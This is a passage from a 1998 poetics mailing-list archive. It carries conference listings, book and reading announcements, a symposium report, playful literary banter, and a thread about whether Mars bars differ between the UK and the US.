Session Thirty-One: Walter Benjamin Chair: Ed Fioster (Stevens Institute of Technology); Linda Belau, Translat-ing Allegory: Reading Melancholy in Walter Benjamin and Julia Kristeva"; Susan Benofsky (Bard College), "Walter Benjamin and German Translation Theory"; Lina Gorchakova (Bucknell University), "Walter Benjamin's Romantic Affinities. The Influence of the Early Romantic Conception of Language on Walter Benjamin's Translation Theory"

Session Thirty-Two: Russian V Chair: John High (San Francisco State University); Andrey Gritsman, "Language, Sensibility, and Russian-American Poetry Translation Experience"; Zarema Kumakhova, "The Metamorphosis of Young Ladies into Young Gentlemen; or, The Fate of One Chekhov Translation"'; Ekaterina Sukhanova, "Boris Pasternak's Translations of Shakespeare"

Session Thirty-Three: Readings Chair: Pat Rosal (Sarah Lawrence University); Luisa Balacco, discussing and reading from her translation of Toni Morrison's "The Bluest Eye"; Marisol Wexman, reading from her translations of Anne Sexton into Spanish

Session Thirty-Four: Readings Chair: Holly Haahr (Stevens Institute of Technology); Caroline Bergvall, reading from her translations of Nicole Brossard; Geneva Elizabeth Chao, reading from her translation of Philippe Jacotet, Chistal et Fune;

.

2:30 - 4:00 p.m.

Session Thirty-Five: Closing Session
Murat Nemet-Nejat
Charles Ross (Purdue University)
Henry Weinfield (University of Notre Dame)
Earl Jeffrey Richards (Wuppertal University)

.

↑ Index

100. KENT JOHNSON
Translation conference
Thu 5 Nov 1998

Ed Foster:

Will proceedings be available from this wonderful conference for those of us who can't attend? Joel Kuszai: Would there be any cahnce that some of these papers could be posted in a special section on the EPC?

Kent

↑ Index

101. shana
Re: Poetry/Translation Conference
Thu 5 Nov 1998

Wow, the translation conference sounds amazing--I wish I received this information before I told my boss I wasn't taking any time off in November... Anyway, I highly recommend attending the Russian III workshop and hearing Julia Trubikhina present on Nabakov. I had the privilege of having her as an adjunct for a Russian History/Lit course, and she was incredible. It was an especially intense experience because I took the class right after Brodsky's death.

Shana Skaletsky
[redacted]
www.bway.net/~shana

"In the blank space below specify how
long you have been awake and why you
were taken by surprise."--Dan Pagis

↑ Index

102. **Gabriel Gudding**
Re: PD Plug
Thu 5 Nov 1998

On Thu, 5 Nov 1998, Fred Muratori wrote:

> *With apologies for the crass self-advert,*

Well, if you hadn't posted this, Fred, I was going to do it. A nice read. -Gabe

↑ Index

103. **shana**
shameless self-plug
Thu 5 Nov 1998

No zines to peddle, just a targeted e-list concerning my pet project. I'm running the ever so popular jewishlit list on onelist.I'll waste no more bandwidth here--go to http://www.onelist.com/subscribe.cgi/jewishlit if you want to know more. It doesn't directly apply to poetics, but since I run it, there will be talk about Amichai, which leads to translations of his work by Chana Bloch and the Stephen Mills Machine, that could lead to a certain quote from WCW, which could lead to anti-semitism talk about Pound, and that's all for today.

Shana

"In the blank space below specify how
long you have been awake and why you
were taken by surprise."--Dan Pagis

↑ Index

104. **raea100900**
Re: Self-Promotion
Thu 5 Nov 1998

Hello List,

Here's another self-promotion. I'm reading in NYC with Marjorie Welish on Sat. the 14th at the Hear series (Double Happiness) at 4:00. I also have a new book out - True - from Atelos press in Berkeley.

Rae Armantrout

↑ Index

105. **Edward Foster**
Re: Translation conference
Thu 5 Nov 1998

Yes, _Talisman_ will do a special double-issue with poems, translations, and papers from the conference. That issue will be published shortly after the double-issue history of american poetry 1970-2000, which should be in print in july. For various reasons, we do have to do the history issue first, but we will get the translation issue in print as soon after that as possible.

On Thu, 5 Nov 1998, KENT JOHNSON wrote:

> *Ed Foster:*
>
> *Will proceedings be available from this wonderful conference for those of us who can't attend? Joel Kuszai: Would there be any cahnce that some of these papers could be posted in a special section on the EPC?*
>
> *Kent*

↑ Index

106. **KENT JOHNSON**
Dracula
Thu 5 Nov 1998

On Thurs. Nov. 5, Mark DuCharme wrote:

> *Dodie's book is also an intertext of, & in some ways, a critical response to, Bram Stoker's _Dracula_. & It's also a vivid account of the San Francisco literary scene, circa late '80s/early'90s."*

Sounds delightful. In the SF lit scene of 80s/90s, who's Dracula?

↑ Index

107. **Mark DuCharme**
Re: Classicist Pigs
Thu 5 Nov 1998

One is pickled, if not entirely nicked, to read this proost of poor, dear Gudding. I for won cried many tiers of ingratitude, & had to be led off from my cranny in order to recoop. Yes, let me be the most to interrogate this sad tail, & correct any interniceties that may have dreaded their way to the Listing. Although Gadding may have sturgled, I have never once, I've gurgled & roomed. Or

roamed, I should say, with all sartres of fere companiouns. But for Peetie's sake let's git to the Point of the Prickett. I will never kick an experimental pot I will soundly defend herhim. Appartently, L'il Gidding thought I was licking one while I was actually having a drink with another, which I do. Nevermore, further, have I repatriated the teeth of Poesia Experimentosis. I have several of the teeth, actually, & am pasting them to the Last Post-Haste. Gidding, meanwhile, havf been streeling wif issues of parsonal backsides, all of which are HARD, hard mind you; yet lowly do I swing unto you that I am a naked sool & would never caul im a plig altho it's true I do wight. The Pope I have abjured as he well news, & that, along with a refairaunce ("mickery") to part of my personnal ethnacity, I take as offense, if not de Fence, & am forwarding a report to the committee. Until then, come to my panel on frowning & divulgence, at the pestfest convention of modernest lingis. & Apoplexologies to Charles, for including texts of previous massages in servoral poosts I've looned.

MDC

Gabriel Gudding wrote,
>Let me be the first to agree with Mark DuCharme that I am right.
>
>I am a clacketing magpie.

etc.

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↑ Index

108. Mark DuCharme
Re: The Letters of Mina Harker
Thu 5 Nov 1998

I have to second Mark here. Any work that's sexy, intellectually stimulating, makes knowing references to horror films, AND is formally inventive, is aces in my book. Need I point out that Dodie's book is also an intertext of, & in some ways, a critical response to, Bram Stoker's _Dracula_. & It's also a vivid account of the San Francisco literary scene, circa late '80s/early '90s.

Mark DuCharme

Mark Wallace wrote:
> Hello listfolks:
>
> I just wanted to note, in case it hasn't been done already,
that
>Dodie Bellamy's LETTERS FROM MINA HARKER, published this year by Hard

>Press, really seems to me one of the best books of the year. Energetic,
>outrageous, precise, and so funny that there are certain lines that I
>laugh AGAIN every time I think about them. It's quite a genre-busting
book
>too--epistolary novel? prose poem? social criticism or dramtatic
monologue
>or autobiography? How about at least a little bit of all of them?

_____
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↑ Index

109. Billy Little
Re: JOEL OPPENHEIMER SYMPOSIUM
Thu 5 Nov 1998

Any reports ?

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

110. dbkk
Bellamy & Buuck at Canessa Park
Thu 5 Nov 1998

Dodie Bellamy and David Buuck will read at Canessa Park Gallery--not this Sunday, but next Sunday--November 15 at 3:00 p.m. 708 Montgomery Street (at Columbus), San Francisco. $5 cover.

David Buuck is an editor of Tripwire: A Journal of Poetics, and Dodie Bellamy is a contributor to Tripwire #2.

↑ Index

111. Gary Sullivan
Re: Query on Salsa
Thu 5 Nov 1998

Hi Julie,

Celia Cruz opens her shows with the word "Aaaahzuuuucar!" ("sugar"), & repeats it in performance. I don't know about the general word for this, though.

> *Does anyone know the name of the improvised, half-spoken, half-chanted lyric that salsa singers such as Celia Cruz open with in performance? I believe it's called the "inspiracion," but am not sure. . .*

↑ Index

112. Travis Ortiz
Announcing TRUE by Rae Armantrout
Thu 5 Nov 1998

TRUE
by Rae Armantrout

Atelos is pleased to announce the publication of TRUE by Rae Armantrout.

About the book: Rae Armantrout’s TRUE is a memoir of the poet’s childhood and youth; it tells of the encounters with reality out of which she has formed her sense of self and of things, her regard for the world, and her work as a poet. One reads this book for the intelligence of Armantrout’s sensibility, for the tenacity and wiliness of her imagination, and for the surprising strangeness of the familiar American social landscape in which she grew up. But readers of Armantrout’s volumes of poetry will also read this book for what it reveals about her approach to the world. The fact that it consists of diverse and often completely contradictory elements is what keeps it real and makes it true.

About the author: Rae Armantrout’s first volume of poetry, Extremities, was published in 1978, and since then five more volumes (The Invention of Hunger, Precedence, Necromance, Made to Seem, and Writing The Plot About Sets) have appeared in English, and Couverture, a book of her selected poems translated by Denis Dormoy, has been published in France. Her poems have appeared in numerous influential magazines (from This and Temblor to The Iowa Review and The Los Angeles Times Book Review) as well as anthologies such as In the American Tree (ed. Ron Silliman, National Poetry Foundation, 1986) and Postmodern American Poetry: A Norton Anthology (ed. Paul Hoover, W. W. Norton & Co., 1994). Rae Armantrout has taught writing at the University of California since 1981. She lives in San Diego.

About the project: Atelos was founded in 1995 as a project of Hip’s Road. It is devoted to publishing, under the sign of poetry, writing which challenges the conventional definitions of poetry, since such definitions have tended to isolate poetry from intellectual life, arrest its development, and curtail its impact. All the works published as part of the Atelos project are commissioned specifically for it, and each is involved in some way with crossing traditional genre boundaries, including, for example, those that would separate theory from

practice, poetry from prose, essay from drama, the visual image from the verbal, the literary from the non-literary, and so forth. The Atelos project when complete will consist of 50 volumes; BAD HISTORY is volume 2. The project directors and editors are Lyn Hejinian and Travis Ortiz.

Ordering information: TRUE may be ordered from Small Press Distribution, 1341 Seventh Street, Berkeley, CA 94710-1403; phone [redacted] or toll-free [redacted]; e-mail: [redacted]

Title: TRUE
[redacted]
Author: Rae Armantrout
Price: $12.95
Pages: 72

ISBN: 1-891190-03-2

Contact: Lyn Hejinian:

Travis Ortiz: [redacted]
fax: [redacted]
Atelos
PO Box 5814
Berkeley, CA 94705-0814

↑ Index

113. joel lewis
f.y.i.
Thu 5 Nov 1998

*** UK man accused of stealing 1.5 mln Mars bars

LONDON (Reuters) - Supervisor Martin Keys seems to have had a particularly sweet tooth - he is on trial for stealing 1.5 million chocolate Mars bars worth 500,000 pounds (US$829,000). Newspapers Thursday said Keys, accused of plotting to steal eight truck loads of the bars, made so much money he paid 21,000 pounds in cash for a new car and put down a 52,000 pound cash deposit on a house. "This story concerns chocolate. The theft of chocolate. A lot of chocolate - a mountain of chocolate," prosecutor Simon Brand told the court in Gloucester, southwest England. The finger of suspicion fell on Keys when a truck arrived at the warehouse and found most of the bars that should have been on the shelves had vanished. ###

↑ Index

114. d.j. huppatz
webpage/journal update
Thu 5 Nov 1998

Dear Listfolk

ANNOUNCING an update to the TEXTBASE webpage featuring experimental writing

& visual
art projects from MELBOURNE, AUSTRALIA.

<http://www.skynet.apana.org.au/~samiam/textbase/textbase.htm>

The new edition of the TEXTBASE journal, CHANCE, is through the "journal" button, then "issue 3".

CHANCE is our first fully integrated collaborative issue, with a large mix of poetic fragments composed into one long piece via a chance operation. Any comments/criticism/inquiries appreciated.

BUT WAIT, THERE'S MORE: I have hard copies of the last two issues of the journal, CUTUP and CHANCE, which i'm willing to send to interested parties. This is a free offer but swaps for your journal/chapbook/whatever would be great. Backchannel a name & address.

dan huppatz
melbourne

↑ Index

115. Scott Pound
Re: POETICS Digest - 2 Nov 1998 to 3 Nov 1998 (#1998-113)
Thu 5 Nov 1998

> *all that compulsory listafarian sarcasm aside, I think that a paper on "now" in Milton and Wordsworth sounds fascinating; exactly the sort of thing that would have interested Zukofsky and Oppen, with their devotion to the little words.*
>
> *Burt Hatlen*

Thanks to Burt Hatlen for saying this. I "totally" agree.

I am working on an essay on the word "and" in Pound's _Cantos_.

no joke.

no relation,

Scott Pound

↑ Index

116. Garrett Kalleberg
The Transcendental Friend No. 6
Thu 5 Nov 1998

My loss, by sickness - Was it Loss?
Or that Ethereal Gain

> One earns by measuring the Grave -
> Then - measuring the Sun -
>
> - Emily Dickinson, 574

The Transcendental Friend, Issue No. 6, November 1998
http://www.morningred.com/friend

The medicinal issue of The Transcendental Friend features an article in the Critical Dictionary by Alan Gilbert, titled "Prescriptive," followed by a sort of illustrated companion in a brief section called Medicine.

The Sixth Chapter in the Bestiary offers a horse story from the 13th Century called Le Vair Palefroi, presented by Laird Hunt.

Rosetta, writing out of literature, presents a selection of the writings of one Robert Larsen, edited by G. Kalleberg & E. Tage Larsen.

Kevin Killian's "Cut" resumes with the second of three installments in Schizmata.

Jonathan Skinner presents the work of French poet Gherasim Luca in translation in Report.

Garrett Kalleberg

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

↑ Index

117. Todd Baron /*/ ReMap

TALISMAN

Thu 5 Nov 1998

---

sorry for the "personal" tho others may be interested--

Dear Ed Foster:

when is the new issue of Talisman coming out--I haven't heard from you in a year!

yrs,

Todd Baron

↑ Index

118. charssmith
Notus 9
Fri 6 Nov 1998

if anyone has a copy of Notus 9, would you please contact me b/c?

thanks,

Charles Smith

↑ Index

119. R I Caddel
help (fwd)
Fri 6 Nov 1998

This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to [redacted] for more info.

---559023410-1903590565-910356739=:17370

Replies to Jayne Fenton-Keane direct please, not to me! RC

---------- Forwarded message ----------
Date: Thu, 2 Jan 1997 14:37:14 +1000
From: Jayne Fenton-Keane <[redacted]>
To: [redacted]
Subject: help

6/11/98

Hi I'm not sure if you can help me but I have to start somewhere! I am an Australia n poet thinking of doing a world tour between April and august 1999. Can you hel p me with contacts, places to read & possibly run workshops, people who might be willing to put me up. I am willing to reciprocate the arrangement for anybody w anting to visit the Gold Coast in Qld, where I live. I will provide more details if this request finds a friendly home. regards jayne fenton keane

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http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.2"' name=3DGENERATOR>
</HEAD>

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<DIV><FONT color=3D#000000 size=3D2>6/11/98</FONT></DIV>
<DIV> </DIV>
<DIV><FONT color=3D#000000 size=3D2>Hi</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>I'm not sure =
if you can help=20
me but I have to start somewhere! </FONT><FONT color=3D#000000 =
size=3D2>I am an=20
Australian poet thinking of doing a world tour between April and august =
1999.=20
Can you help me with contacts, places to read & possibly run =
workshops,=20
people who might be willing to put me up. I am willing to reciprocate =
the=20
arrangement for anybody wanting to visit the Gold Coast in Qld, where I =
live. I=20
will provide more details if this request finds a friendly =
home.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>regards</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>jayne fenton=20
keane</FONT></DIV></DIV></DIV></BODY></HTML>

---559023410-1903590565-910356739=:17370--

↑ Index

120. Gabriel Gudding
My Disco-Ball of Wrath
Fri 6 Nov 1998

John I _am_ not wroth with the rattlebrained Dippy DuCharme nor his sidekick either Brenda Floribunda the excessive paranoiac.

Is it really my opinion there is something fat and abominable banging around in the fata morgana of his mind? Maybe so maybe so No I am frankly saw in a canyon and there was an herd of about two dogs in it running from wall to wall to wall, purblind rats with mange. Who was among them? That's right Dippy. I heard the rattle of bracelets and turned. Yappy of dogs behind me. I put the yappy of dogs behind me.

You think I would not smote him I would smote him yip.

I would smote him with my heart, buh: big flapping heartbag of coins right in his face, legs of dippy collapsing like an cheap exchequer table it's true. puh.

His words are a herd of invalids? Yes he writes like a minivan?

That's true yes.

Remove his stapes?
Abrade his pockmarks?
Stomp on lungs?
Crack like chicken?

John I am not wroth with that intestinal obstruction Dippy causing colic vomiting and constipation no.

But I would smote him for a nickel.

Smack him like a spondee.

These are not menat to be malicious spiteful comments: these are not meant to be anything bat a statement of my support for the defensible nonDippy Rigoberta Menchu of Bolder Colorattle without whom we could all be wroth at the little things. Dixi, Dippy. Pax tecum, and maybe some talcum on that weak foot of yours. (The trochaic one). You irrefutable dirigible -- which is not to say Dippy's full of hotair oh no not hot air.

On Thu, 5 Nov 1998, Mark DuCharme wrote:

> *One is tickled, if not entirely nicked, to read dear Gudding.*

↑ Index

121. stephen ellis
Re: Notus 9
Fri 6 Nov 1998

Charles,

re: Notus 9, I have one.

Stephen Ellis
[redacted]

>From [redacted] Thu Nov 5 22:33:32 1998
>Received: (qmail 20674 invoked from network); 6 Nov 1998 06:33:30 -0000
>Received: from listserv.acsu.buffalo.edu (128.205.7.35)
> by defer.acsu.buffalo.edu with SMTP; 6 Nov 1998 06:33:30 -0000
>Received: from LISTSERV.ACSU.BUFFALO.EDU by
LISTSERV.ACSU.BUFFALO.EDU
> (LISTSERV-TCP/IP release 1.8d) with spool id 43295900 for
> [redacted]; Fri, 6 Nov 1998 01:33:27

-0500
>Received: (qmail 25412 invoked from network); 6 Nov 1998 06:33:26 -0000
>Received: from imo21.mx.aol.com (198.81.17.65) by
listserv.acsu.buffalo.edu
> with SMTP; 6 Nov 1998 06:33:26 -0000
>Received: from [redacted] by imo21.mx.aol.com (IMOv16.10) id
TFDJa17824
> for <[redacted]>; Fri, 6 Nov 1998
01:33:03
> -0500 (EST)
>Mime-Version: 1.0
>Content-type: text/plain; charset=US-ASCII
>Content-transfer-encoding: 7bit
>X-Mailer: AOL 4.0 for Windows 95 sub 214
>Message-ID: <[redacted]>
>Date: Fri, 6 Nov 1998 01:33:03 EST
>Reply-To: UB Poetics discussion group
<[redacted]>
>Sender: UB Poetics discussion group
<[redacted]>
>From: [redacted]
>Subject: Notus 9
>To: [redacted]
>
>if anyone has a copy of Notus 9, would you please contact me b/c?
>
>thanks,
>
>Charles Smith
>

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

122. **B. Taylor**
Re: f.y.i.
Fri 6 Nov 1998

It's important to note that what are called Mars Bars in the U.K. are known as Milky Ways in the U.S.

> *** *UK man accused of stealing 1.5 mln Mars bars*

> *LONDON (Reuters) - Supervisor Martin Keys seems to have had a particularly sweet tooth - he is on trial for stealing 1.5 million chocolate Mars bars worth 500,000 pounds (US$829,000). Newspapers Thursday said Keys, accused of plotting to steal eight truck loads of the bars, made so much money he paid 21,000 pounds in cash for a new car and put down a 52,000 pound cash deposit on a house. "This story concerns chocolate. The theft of chocolate. A lot of chocolate - a mountain of chocolate," prosecutor Simon Brand told the court in Gloucester, southwest England. The finger of suspicion fell on Keys when a truck arrived at the warehouse and found most of the bars that should have been on the shelves had vanished. ###*

↑ Index

123. Mark Prejsnar
ITSYNCCAST, 3rdness publication
Fri 6 Nov 1998

OUT NOW: ITSYNCASST, the "sequal" to SYNTACTICS

$6 - payable to me [John Lowther]

2996 Hermance Dr. NE; Atlanta, GA 30319

88 pgs. Poetry, Art & Statement, featuring: Guy Bennett, Jackson Mac Low, Nico Vassilakis, Tracy Grinnell, H.T., Brian Strang, Guy R. Beining, Brian Kim Stefans, Emily Grossman, Tim Fletcher, Mark Prejsnar, William Marsh, Paul Vangelisti, Steve Fried and May Ganz + "Olivia & Viola"

3rdness will bring out another magazine around the turn of the year, Cantic-syst, which will feature Norma Cole, Martha Ronk, Anne Tardos, Mark Wallace, Douglas Messerli, Scott Macleod, Thomas Lowe Taylor, Gina Entrebe, Randy Prunty and Charles Henri Ford - query if interested

the 1st 3rdness chapbook, Mark Prejsnar's BURNING FLAGS is also available for $5 - i hope to issue another chap with CANTICSYST but *am not looking for chapbook submissions*

after canticsyst will come another magazine to please all of you who cannot abide the sifting of names - watch for announcements

"the price of fixity is unintelligibility" - Schiller

.out

)L

↑ Index

124. Mairead Byrne
Re: f.y.i.
Fri 6 Nov 1998

Not exactly though, surely. I remember thick chocolate that would break off in pieces, a lot of runny toffee and a lot less of that fudgy stuff that Milky Ways have. "A Mars a Day Helps You Work Rest and Play" as they used to say in the good old days in rainy Liverpool or Dublin before the climate turned Mediterranean. I know this is very trivial but I think it would be wrong to accept the direct translation. It's not the same thing at all.

On Fri, 6 Nov 1998, B. Taylor wrote:

> *It's important to note that what are called Mars Bars in the U.K. are known as Milky Ways in the U.S.*
>
> **** UK man accused of stealing 1.5 mln Mars bars*
>
> *LONDON (Reuters) - Supervisor Martin Keys seems to have had a particularly sweet tooth - he is on trial for stealing 1.5 million chocolate Mars bars worth 500,000 pounds (US$829,000). Newspapers Thursday said Keys, accused of plotting to steal eight truck loads of the bars, made so much money he paid 21,000 pounds in cash for a new car and put down a 52,000 pound cash deposit on a house. "This story concerns chocolate. The theft of chocolate. A lot of chocolate - a mountain of chocolate," prosecutor Simon Brand told the court in Gloucester, southwest England. The finger of suspicion fell on Keys when a truck arrived at the warehouse and found most of the bars that should have been on the shelves had vanished. ###*

↑ Index

125. Roger Day
Re: f.y.i.
Fri 6 Nov 1998

Just cross-referenced this with a colleague of mine in the US. Mars bars in the UK are same product (give or take a few ingredients for the US market).

In other words, and as trivial as is may seem, Mars Bars in the UK are known as Mars Bars in the US, modulo the aforementioned differences.

At 06/11/98 15:09:26, Mairead Byrne <[redacted]> wrote:
Not exactly though, surely. I remember thick chocolate that would break
off in pieces, a lot of runny toffee and a lot less of that fudgy stuff
that Milky Ways have. "A Mars a Day Helps You Work Rest and Play" as

they
used to say in the good old days in rainy Liverpool or Dublin before the
climate turned Mediterranean. I know this is very trivial but I think
it
would be wrong to accept the direct translation. It's not the same
thing
at all.
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On Fri, 6 Nov 1998, B. Taylor wrote:
#
> It's important to note that what are called Mars Bars in the U.K. are
known
> as Milky Ways in the U.S.
>
> >
> >*** UK man accused of stealing 1.5 mln Mars bars
> >
> >LONDON (Reuters) - Supervisor Martin Keys seems to have had a
> >particularly sweet tooth - he is on trial for stealing 1.5 million
> >chocolate Mars bars worth 500,000 pounds (US$829,000). Newspapers
> >Thursday said Keys, accused of plotting to steal eight truck loads of
> >the bars, made so much money he paid 21,000 pounds in cash for a new
> >car and put down a 52,000 pound cash deposit on a house. "This story
> >concerns chocolate. The theft of chocolate. A lot of chocolate - a
> >mountain of chocolate," prosecutor Simon Brand told the court in
> >Gloucester, southwest England. The finger of suspicion fell on Keys
> >when a truck arrived at the warehouse and found most of the bars that
> >should have been on the shelves had vanished.
>
#

Roger

↑ Index

126. **Eric Blanres**
Re: f.y.i.
Fri 6 Nov 1998

Would like to point out, however, that if you eat a Mars Bar in Greenwich at 12 noon on Nov. 6th in an even year, facing SSW, with one hand tied behind your back, cross-eyed, the Mars Bar transmogrifies immediately into a Venus Ice Cream Sandwich. Try it, you'll like it! [O, Fudge - I see we have to wait until next millennium...]

- Eric Blarnes
"Say, how about them Mets?"
- Beaumont & Fletcher (in unison)

↑ Index

127. sylvester pollet
Re: JOEL OPPENHEIMER SYMPOSIUM
Fri 6 Nov 1998

OK, some highpoints: Oct. 29 Creeley reading. He opened with some reminiscences of Joel at Black Mt. & later, then read/spoke on some of the poems from The Dutiful Son--The Tide, The Bath, The Lover. Wonderful to hear them read in Creeley's voice, with his attention to rhythm & line-breaks. Then he read some of his own work, including the long poem Histoire de Floride (which he called his version of Russell Banks' Continental Drift). He concluded with Joel's Sirventes for a Sad Occasion. Next morning, after opening the day's sessions, Creeley said " I'm honored to be here, and I'd be here even if no one else was." That catches the spirit of the event, I'd say. I had run into Creeley the first afternoon, at Joel's gravesite. The stone, a rough pink granite wedge, has a bronze plaque with the poem Legend on it. Joel died in Henniker NH Oct. 11, 1988 so this conference was to mark 10 years. Most, maybe all, participants had also been friends, or students, of Joel's, & two sons were there as well. But the premise of the conference was that it was time to stop telling Joel stories, and to begin according the critical/scholarly attention that would gain his work its rightful place in the canon. (Yes, they used that word repeatedly.) So, Bertholf on Ritual & Romance in the Later Poetry, Blevins on Chaos theory, Ed Foster on Op, Bronk , and the end of American Space, David Landrey On Joel's Voice (including Village Voice), then a couple of more reminiscence-based ones, Patrick Meanor, Portrait of the Poet in J's later Poetry, and Michael Stephens on Joel & St. Marks Poetry Project (but more of what he read from a long piece was really on meeting Joel, & the times). Bertholf seemed unofficial respondent to all papers, but others like Sam Abrams also added much to the NYC days, while Lyman Gilmore & Don Melander (organizer) filled in the NH days. Gilmore's bio is just out, I bought it but MaJo's reading it first. Also bought J's Collected Later Poems, ed Bertholf, Buffalo 1997. I read a poem of mine to kick off the final panel discussions (written in 1988, pub. Exquisite Corpse 36):

Joel's Occasional

So it goes--
my father's words--
gone now, and now
Joel gone, that voice

rasp and flow,
load of coal down a
steel chute
into the darkness
and coming back
not even a bucketful
a tin can like anybody's
father: ash, bone-flakes, clinkers.
Nothing left but whatever
the gene-pool can salvage
and of course
the voice, that voice.

Sylvester Pollet

↑ Index

128. Roger Day

Re: f.y.i.

Fri 6 Nov 1998

In Yorkshire - or in other parts of the UK for all I know - chippies sometimes dip Mars bars in flour, then batter, then deep-fry them. Nice.

At 06/11/98 15:37:14, Eric Blanres <[redacted]> wrote:
Would like to point out, however, that if you eat a Mars Bar in Greenwich
at 12 noon on Nov. 6th in an even year, facing SSW, with one hand tied
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into a Venus Ice Cream Sandwich. Try it, you'll like it! [O, Fudge - I see
we have to wait until next millennium...]
#
- Eric Blarnes
"Say, how about them Mets?"
- Beaumont & Fletcher (in unison)
#

Roger

↑ Index

129. **henry**
Re: f.y.i.
Fri 6 Nov 1998

On Fri, 6 Nov 1998 15:51:03 +0000 Roger Day said:
>In Yorkshire - or in other parts of the UK for all I know - chippies
>sometimes dip Mars bars in flour, then batter, then deep-fry them. Nice.

Ah, that British cuisine! Magnifique!
- Eric B.

↑ Index

130. **Lisa Trank**
Naropa Writing Events
Fri 6 Nov 1998

Two great events with Naropa's Writing and Poetics Department:

1. This weekend, Friday and Saturday, November 6 & 7 - Writing and Poetics Student Arts Concert:Poetry and Prose students will read their work, beginning at 8pm at Naropa's Performing Arts Center, 2130 Arapahoe Ave., Boulder, CO. FREE

2. Saturday, November 14 - Bombay Gin Annual Benefit with performances by Anne Waldman and Steven Taylor, Naropa Jazz Ensemble, a silent auction (lots of goodies from local businesses, artists, etc.), food and drink. $7/advance tix, $8/at the door (food and drink included in the price of the ticket). All proceeds go to the publishing of the 25th commemorative edition of Bombay Gin.

Information for both of these events: 303. 546. 3508.

See you there!!

Lisa Trank

↑ Index

131. **Mairead Byrne**
Re: f.y.i.
Fri 6 Nov 1998

Hmm: that's quite a different thing to saying that Mars Bars on one side of the Atlantic are Milky Ways on the other. So Mars Bars on one side of the Atlantic are actually Mars Bars on the other side of the Atlantic. That leaves us simply with the question of the special ingredients. And why.

On Fri, 6 Nov 1998, Roger Day wrote:

Just cross-referenced this with a colleague of mine in the US. Mars bars in the UK are same product (give or take a few ingredients for the US market).

In other words, and as trivial as is may seem, Mars Bars in the UK are known as Mars Bars in the US, modulo the aforementioned differences.

At 06/11/98 15:09:26, Mairead Byrne <[redacted]> wrote:
 # Not exactly though, surely. I remember thick chocolate that would break
 # off in pieces, a lot of runny toffee and a lot less of that fudgy stuff
 # that Milky Ways have. "A Mars a Day Helps You Work Rest and Play" as they
 # used to say in the good old days in rainy Liverpool or Dublin before the
 # climate turned Mediterranean. I know this is very trivial but I think it
 # would be wrong to accept the direct translation. It's not the same thing
 # at all.
#
 # On Fri, 6 Nov 1998, B. Taylor wrote:
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 # > It's important to note that what are called Mars Bars in the U.K. are known
 # > as Milky Ways in the U.S.
 # >
 # > >
*# > >*** UK man accused of stealing 1.5 mln Mars bars*
 # > >
 # > >LONDON (Reuters) - Supervisor Martin Keys seems to have had a
 # > >particularly sweet tooth - he is on trial for stealing 1.5 million
 # > >chocolate Mars bars worth 500,000 pounds (US$829,000). Newspapers
 # > >Thursday said Keys, accused of plotting to steal eight truck loads of
 # > >the bars, made so much money he paid 21,000 pounds in cash for a new
 # > >car and put down a 52,000 pound cash deposit on a house. "This story
 # > >concerns chocolate. The theft of chocolate. A lot of chocolate - a
 # > >mountain of chocolate," prosecutor Simon Brand told the court in
 # > >Gloucester, southwest England. The finger of suspicion fell on Keys
 # > >when a truck arrived at the warehouse and found most of the bars that
 # > >should have been on the shelves had vanished. ###
 # >
#

Roger

↑ Index

132. james perez
Re: where archives, Poetics and jazz all meet
Fri 6 Nov 1998

referring to the current, why put it in an archive discussion...

well the reason for me would be: sorry I wasn't living in San Francisco in the 60s(not even born)/70s or the East Village in the 80s or even Buffalo in the 90s(?) and a lot of these things had very small fragile runs

can argue that these things weren't for me exactly because I wasn't there, but that's not good enough

but in the interest of keeping the work out of the glass cabinets I would introduce the jazz tradition of fakebooks...

I'm sure most of us here aren't in it to make dime, and some of us (?) are outright hostile when it comes to copyrights, so I charge someone significantly in the know to try and build a ring bound photocopy collection of significant hard-to-gets, kind of an indie anthology of "ephemera" that doesn't cost an arm and a leg (my last fakebook cost around $30, but half the fun was the way it was kept under the counter and that everything in it was written by hand)

I think the idea of this or that poem being a "standard," as jazz would put it, is problematic, but Poetics is small enough a community that it could have some kind of consensus...you could break it by decades or location should it start to get unwieldy

if it comes together, I'll help distribute in DC (will sell them from under my bed)

jamie.p

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

133. Mairead Byrne
Re: f.y.i.
Fri 6 Nov 1998

No No No No No No No No No No No

On Fri, 6 Nov 1998, Roger Day wrote:

> *In Yorkshire - or in other parts of the UK for all I know - chippies sometimes dip Mars bars in flour, then batter, then deep-fry them. Nice.*
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> *At 06/11/98 15:37:14, Eric Blanres <[redacted]> wrote:*
> *# Would like to point out, however, that if you eat a Mars Bar in*

> *Greenwich*
> *# at 12 noon on Nov. 6th in an even year, facing SSW, with one hand tied*
> *# behind your back, cross-eyed, the Mars Bar transmogrifies immediately*
> *# into a Venus Ice Cream Sandwich. Try it, you'll like it! [O, Fudge - I see*
> *# we have to wait until next millennium...]*
> *#*
> *# - Eric Blarnes*
> *# "Say, how about them Mets?"*
> *# - Beaumont & Fletcher (in unison)*
> *#*
>
> *Roger*

↑ Index

134. Burt Kimmelman
Re: JOEL OPPENHEIMER SYMPOSIUM
Fri 6 Nov 1998

---

thanks so much, sylvester, for the report. i do wish i had been able to be there, especially now that i learn how rich an experience it was.

yes, reading joel's work in retrospect, i for realize how incredibly fine he is! yes there needs to be a lot more critical work done on him, and by the way a lot less of the sort of nonsense i find in the recent issue of ABR on joel.

burt

↑ Index

135. Roger Day
Re: f.y.i.
Fri 6 Nov 1998

At 06/11/98 16:35:15, Mairead Byrne <[redacted]> wrote: # Hmm: that's quite a different thing to saying that Mars Bars on one side # of the Atlantic are Milky Ways on the other. So Mars Bars on one side of # the Atlantic are actually Mars Bars on the other side of the Atlantic. # That leaves us simply with the question of the special ingredients. And # why.

Not so much speicial, according to my source. US chocolate apparently contains vanilla, and the whole confectionery experience is less sweet. Quite why this is, my source is, of neccessity, silent on, not being on the inside track as it were.

